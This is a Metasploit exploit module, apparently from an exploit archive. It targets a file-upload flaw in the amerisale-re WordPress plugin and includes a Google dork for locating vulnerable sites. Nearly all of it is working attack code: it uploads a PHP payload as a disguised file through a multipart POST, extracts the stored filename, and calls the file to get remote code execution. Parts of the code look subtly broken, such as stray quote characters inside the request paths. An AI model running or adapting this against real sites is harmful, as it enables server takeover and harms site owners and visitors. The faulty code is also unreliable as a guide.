# Exploit Title : Wordpress amerisale-re Remote Shell Upload
# Exploit Author : T3rm!nat0r5
# Vendor Homepage : http://wordpress.org/
# Google Dork : inurl:/wp-content/plugins/amerisale-re
# Date : 2014/01/30
# Tested on : Windows 8 , Linux
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
  super(update_info(info,
            'Name'           => 'Wordpress amerisale-re Plugin Remote
Shell Upload',
       'Description' => %q{
        This module exploits an arbitrary PHP File Upload and Code
Execution flaw in some
        WordPress blog software plugins. The vulnerability allows for
arbitrary file upload
        and remote code execution POST Data to Vulnerable Script/File in the plugin.
                },
            'Author'         => [ 'T3rm!nat0r5 [Forever]' ],
            'Privileged'     => false,
            'Payload'        =>
                {
            'DisableNops' => true,
            'Space'       => 999999
                },
            'Platform'       => 'PHP',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0,
        ))

   register_options(
    [
     OptString.new('Target', [true, "Wordpress Path", "/"]),
     OptString.new('PLUGIN', [true, "Full path of Plugin and
Vulnerable File", "/"]),
     OptString.new('UDP', [true, "File Upload Path", "/"])
    ], self.class)
  end

   def check
    uri = datastore['Target']
    plug = datastore['PLUGIN']
  
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => "#{uri}'/'#{plug}"
    })

 if res and res.code == 200
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
   end
 end

  def exploit

   uri = datastore['Target']
   plug = datastore['PLUGIN']
   path = datastore['UDP']

   peer = "#{rhost}:#{rport}"

   post_data = Rex::MIME::Message.new
   post_data.add_part("<?php #{payload.encoded} ?>",
   "application/octet-stream", nil,
   "form-data; name=\"Filedata\";
filename=\"#{rand_text_alphanumeric(6)}.php\"")

   print_status("#{peer} - Sending payload")

  res = send_request_cgi({
  'method' => 'POST',
  'uri'    => "#{uri}'/'#{plug}",
  'ctype'  => 'multipart/form-data; boundary=' + post_data.bound,
  'data'   => post_data.to_s
  })

   if not res or res.code != 200 or res.body !~
/\{\"raw_file_name\"\:\"(\w+)\"\,/
   print_error("#{peer} - File wasn't uploaded, aborting!")
   return
   end

   print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
   res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{uri}'/'#{path}'/'#{$1}.php"
   })

   if res and res.code != 200
   print_error("#{peer} - Server returned #{res.code.to_s}")
   end

   end

end
# Exploit by T3rm!nat0r5